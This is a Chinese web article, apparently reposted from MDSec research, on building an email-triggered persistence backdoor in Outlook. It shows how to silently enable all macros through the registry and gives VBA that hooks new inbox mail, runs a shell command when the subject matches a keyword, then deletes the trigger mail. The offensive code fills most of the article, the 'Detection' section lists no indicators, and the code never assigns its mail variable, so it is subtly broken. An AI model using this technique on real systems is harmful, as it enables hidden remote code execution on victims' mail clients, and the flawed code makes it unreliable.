怎么利用Outlook来创建基于电子邮件的持久化后门

发布时间:2021-10-22 14:40:26 作者:iii
来源:亿速云 阅读:229

本篇内容主要讲解“怎么利用Outlook来创建基于电子邮件的持久化后门”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“怎么利用Outlook来创建基于电子邮件的持久化后门”吧!

技术分析

跟大多数的Microsoft Office产品一样,Outlook也可以启用开发者选项,并通过VB编辑器来创建基于VBA的宏。打开编辑器,然后创建一个简单的宏文件,你将会看到一个名为“ThisOutlookSession”的Outlook模块:

怎么利用Outlook来创建基于电子邮件的持久化后门

保存这个宏之后,一个VbaProject.OTM文件将会在“%APPDATA%\Roaming\Microsoft\Outlook ”目录中被创建:

怎么利用Outlook来创建基于电子邮件的持久化后门

在默认配置下是无法执行这个宏的,因为默认配置为“除了已签名的宏之外,其他所有的宏都被禁用”。

但是,我们可以通过使用以下值创建Security注册表项来修改此配置:

怎么利用Outlook来创建基于电子邮件的持久化后门

Level值定义的是宏安全配置,包含下列值:

4 = Disable all macros without notification

3 = Notifications for digitally signed macros, all other macros disabled

2 = Notifications for all macros

1 = Enable all Macros

如果想允许宏以隐蔽方式运行而不通知用户的话,我们需要设置“Level”值以在操作期间启用所有宏。

通过检查VbaProject.OTM文件,我们发现它是标准的Microsoft复合文档文件(CDF):

dmc@deathstar ~  ✗ file ~/VbaProject.OTM

VbaProject.OTM: Composite Document File V2 Document, Cannot read section info

对oledump.py进行深入分析后,我们发现了包含宏代码的OLE数据流:

dmc@deathstar ~  ✗ python oledump.py ~/VbaProject.OTM

  1:        43 'OutlookProjectData'

  2:       388 'OutlookVbaData/PROJECT'

  3:        59 'OutlookVbaData/PROJECTwm'

  4: M    6156 'OutlookVbaData/VBA/ThisOutlookSession'

  5:      2663 'OutlookVbaData/VBA/_VBA_PROJECT'

  6:       497 'OutlookVbaData/VBA/dir'

现在,我们已经知道VbaProject.OTM是一个启用了标准OLE宏的文档,因此创建、混淆、清除和重载这些文件的传统工具和技术仍然适用。接下来,我们看看如何将其转换成一种持久化武器。

宏武器化

为了让这种VBA代码执行技术转换成对我们有用的东西,我们需要将代码作为事件的结果执行。ThisOutlookSession模块允许我们订阅Outlook中的各种事件,这就是我们实现代码执行的一个可用元素了。

针对持久化来说,目标事件的潜在选项包括用户驱动的某些事件,比如说Outlook打开或用户自行操作的某些事件,例如指定的邮件送达等等。对于我们的场景,我们将主要研究如何利用带有特定主题的邮件来执行任意的VBA。

为了确认新邮件的接收时间,我们可以在Outlook启动时首先订阅默认收件箱的相关事件。首先,在注册事件的同时在默认收件箱文件夹(olInboxItems)中设置变量:

Option Explicit

Private WithEvents olInboxItems As Items

Private Sub Application_Startup()

    Set olInboxItems = Session.GetDefaultFolder(olFolderInbox).Items

End Sub

为了使用指向用户收件箱的引用,我们可以使用“ItemAdd”回调来接收新消息抵达事件:

Private Sub olInboxItems_ItemAdd(ByVal Item As Object)

End Sub

具体说来,我们只对接收的电子邮件感兴趣,因此我们需要对回调进行优化,只允许新邮件来触发我们的事件。这里可以通过验证邮件类型是否为“MailItem”来实现:

Private Sub olInboxItems_ItemAdd(ByVal Item As Object)  

    If TypeOf Item Is MailItem Then

        MsgBox "You have mail"

    End If

End Sub

当然了,我们并不需要每一封接收到的邮件都触发我们的事件,所以我们需要对邮件地址、主题和正文内容等进行过滤:

Private Sub olInboxItems_ItemAdd(ByVal Item As Object)

    On Error Resume Next

    Dim olMailItem As MailItem

    If TypeOf Item Is MailItem Then

       If InStr(olMailItem.Subject, "MDSec") > 0 Then

            MsgBox "Hack The Planet"

            olMailItem.Delete

        End If

    End If

    Set Item = Nothing

    Set olMailItem = Nothing

End Sub

持久化PoC

综上所属,让我们来弹个计算器(calc.exe)试试:

Option Explicit

 

Private WithEvents olInboxItems As Items

 

Private Sub Application_Startup()

    Set olInboxItems = Session.GetDefaultFolder(olFolderInbox).Items

End Sub

 

Private Sub olInboxItems_ItemAdd(ByVal Item As Object)

    On Error Resume Next

    Dim olMailItem As MailItem

    If TypeOf Item Is MailItem Then

       If InStr(olMailItem.Subject, "MDSec") > 0 Then

            MsgBox "Hack The Planet"

            Shell "calc.exe"

            olMailItem.Delete

        End If

    End If

    Set Item = Nothing

    Set olMailItem = Nothing

End Sub

PoC演示

怎么利用Outlook来创建基于电子邮件的持久化后门

怎么利用Outlook来创建基于电子邮件的持久化后门

检测

从目标设备的角度来看,我们可以通过下列两个关键指标来检测这种攻击技术:

到此,相信大家对“怎么利用Outlook来创建基于电子邮件的持久化后门”有了更深的了解,不妨来实际操作一番吧!这里是亿速云网站,更多相关内容可以进入相关频道进行查询,关注我们,继续学习!

推荐阅读:
  1. 备份和导入Outlook 2016 电子邮件签名
  2. java利用构建器来创建实例

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

outlook

上一篇:如何掌握static关键字

下一篇:如何理解Java内存模型

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》